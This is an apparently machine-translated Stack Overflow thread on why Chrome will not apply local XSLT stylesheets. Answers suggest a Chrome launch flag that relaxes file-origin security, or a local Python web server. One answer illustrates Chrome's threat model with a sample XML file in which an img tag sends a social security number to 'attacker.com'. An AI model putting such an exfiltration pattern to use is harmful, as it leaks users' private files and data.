Чи можна зробити Chrome для перетворення XSL на локальний файл?


91

Я вивчав xslt і почав тестувати з прикладами на w3schools.

Однак, коли я зберігаю xml і xsl у файлах і намагаюся відкрити їх локально, chrome не виконує перетворення xsl. На ньому просто відображається порожня сторінка.

Я додав <?xml-stylesheet type="text/xsl" href="style.xsl">тег до документа xml, і Firefox робить його таким, яким він повинен виглядати. Крім того, якщо я переглядаю файли через веб-сервер, chrome відображає файл таким, яким він повинен виглядати.

Це те, що у chrome виникає проблема з пошуком інформації таблиці стилів, коли посилання локальне? Зміна href на file:///C:/xsl/style.xslне змінило.

Оновлення: Це, здається, є побічним ефектом політики безпеки, щоб не сприймати файл: /// * як одне і те саме. Через це в консолі з’являється така помилка:

Небезпечна спроба завантажити файл URL: /// C: /xsl-rpg/style.xsl із кадру за допомогою файлу URL: /// C: /xsl-rpg/data.xml. Домени, протоколи та порти повинні збігатися.


1
Схоже, з file:протоколу Chrome видає ту ж помилку домену.

1
На IE11 це працює. Chrome стає злим.
Marco Demaio

Відповіді:


74

Коротка відповідь: "Ні, використовуйте один із різноманітних браузерів " .

Причина, по якій це не працює, пов’язана з проблемою безпеки, з якою Chrome вирішив суперечливий спосіб [1] [2] [3] [4] , блокуючи файли XML у доступі до локальних файлів XSLT в тому ж каталозі, тоді як HTML файли можуть чудово отримати доступ до файлів .CSS в тому ж каталозі.

У згаданих вище проблемах користувачі вимагали більш чіткого повідомлення про помилку (оскільки домени, протоколи та порти насправді збігаються) або, принаймні, відображення XML без стилю. Розробники Chrome проігнорували ці запити.


18
Хоча їхня проблема безпеки має сенс, XML-файли повинні мати можливість завантажувати таблиці стилів XSL з того самого каталогу, подібно до того, як файли HTML можуть завантажувати зображення та сценарії з одного каталогу. Є проблема, яку ви можете позначити зіркою, але команда розробників Chrome заборонила нові коментарі щодо неї - незважаючи на той факт, що вони скаржились, що не можуть визначити, наскільки сильно користувачі хотіли, щоб місцеве походження файлів було розслаблене.
Дан Даскалеску,

1
Цікавий факт: Safari на Mac (8.0) чудово працює з локальним XSLT, але Safari на iOS (8) симуляторі (і, мабуть, і на iOS) я отримав таку ж помилку, як у Chrome "Домени, протоколи та порти повинні збігатися. ". Але якщо я хочу впровадити UIWebView у програмі та завантажити XML із XSLT, все працює нормально.
Paul Brewczynski

мало сенсу використовувати інший браузер, коли завдання полягає у виправленні певного рендерингу xslt у браузерах chrome ...
n611x007

Одним із підходів, який працює з Chromium, є вбудовування файлу XSL у файл XML у вигляді даних: text / xsl URI.
EricLaw

57

Ви можете зробити це локально, використовуючи прапорці командного рядка Chrome.

Конкретний прапор - --allow-file-access-from-files

На OS X: із запуску Terminal.app /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

У Windows: із запуску командного рядка %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

Примітка: Вам, ймовірно, доведеться вийти з Chrome, якщо зараз він працює інакше Ch


Здається, це не працює для мене в Windows 7. Я знайшов chrome.exe, що знаходиться тут:, C:\Program Files (x86)\Google\Chrome\Applicationі команда --allow-file-access-from-files виконується чудово, але мій локальний XML-документ (перетворений локальний файл XSLT) не відображається.
Рік підтримує Моніку

2
Можливо, вам доведеться вручну вбити всі запущені процеси Windows для chrome.exe в диспетчері завдань Windows. Для мене це спрацювало.
Крістіан Шульцендорф

1
/Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-filesпрацював у мене. Очевидно, що я запускаю Chrome Canary. Після запуску цієї команди має відкритися нове вікно Chrome і дозволити вам виконати перетворення XSL.
SeanLF

2
Швидше у Windows 7: клавіша Window + R; "chrome --allow-file-access-from-files"; Введіть.
Аарон Кемпбелл,

Або в PowerShell (вбиває для вас попередні хроми):get-process chrome | stop-process; start-process chrome --allow-file-access-from-files
Аарон Кемпбелл

15

Якщо ви хочете дотримуватися OP, відповідь «Ні» (як вказували інші), але один із способів вирішити проблему - це запустити простий веб-сервер і відкрити файли через http у chrome. Якщо у вас встановлений python 2.x, ви можете запустити веб-сервер, набравши:

python -m SimpleHTTPServer

Або в python 3.x:

python3 -m http.server

а потім відкрийте файл, використовуючи http://localhost:8000/yourfile.xmlв chrome. Сподіваємось, ви просто хочете закінчити свою роботу, і це не найважливіше, щоб відкривати файл за допомогоюfile://


3

Потрібно було трохи розшифрувати на сторінці помилок Chrome - вони дуже прагнуть не пояснити, в чому проблема, і чому вони вирішили зламати всіх, а не всіх.

Припустимо, у мене є файл XML - десь - на моєму жорсткому диску, наприклад:

C: \ Users \ Ian \ Documents \ Taxes \ StudioTaxReturn_2015.xml

І зловмисному суб’єкту - якось - вдалося скинути шкідливий Xml-файл на моєму комп’ютері, наприклад:

C: \ Users \ Ian \ AppData \ LocalLow \ Temp \ TrojanVirusWorm.xml

Уявіть, TrojanVirusWorm.xml містить інструкцію з обробки таблиці стилів ( PI ):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

Потім зловмисник вказує моєму браузеру перейти до локально збереженого trojanVirusWorm.xmlфайлу.

Очевидно, є спосіб, що XML-файл може читати вміст XSD-файлу (а не перетворюватися XSD-файлом):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

Я не розумію, як файл XML може читати файл таблиці стилів. Але команда Chrome запевняє нас, що це небезпека, і що її неможливо вирішити.

Кожен інший браузер вирішив це. Вони вирішили це, бо це не проблема .


3

Моє обхідне рішення побачити xml відповідно до файлу xsl

Припустимо, у нас є some_file.xml із заголовками:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. Ми завантажуємо файл https://some-site.com/Common.xslі розміщуємо його поруч ізsome_file.xml
  2. Змініть частину нашого заголовка з href="https://some-site.com/Common.xsl"на href="http://localhost:8001/Common.xsl"
  3. Запустити в каталозі з нашими файлами - python3 -m http.server 8001
  4. Відкрити в будь-якому браузері http://localhost:8001/some_file.xml

0

Ви можете дозволити Chrome відображати файл XSL, змінивши налаштування веб-переглядача. Більш безпечним підходом буде доступ до нього через локальний веб-сервер, такий як Visual Studio Code Live Server або Apache. Див . Кроки XSLT Не відображатиметься на локальних файлах .

Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.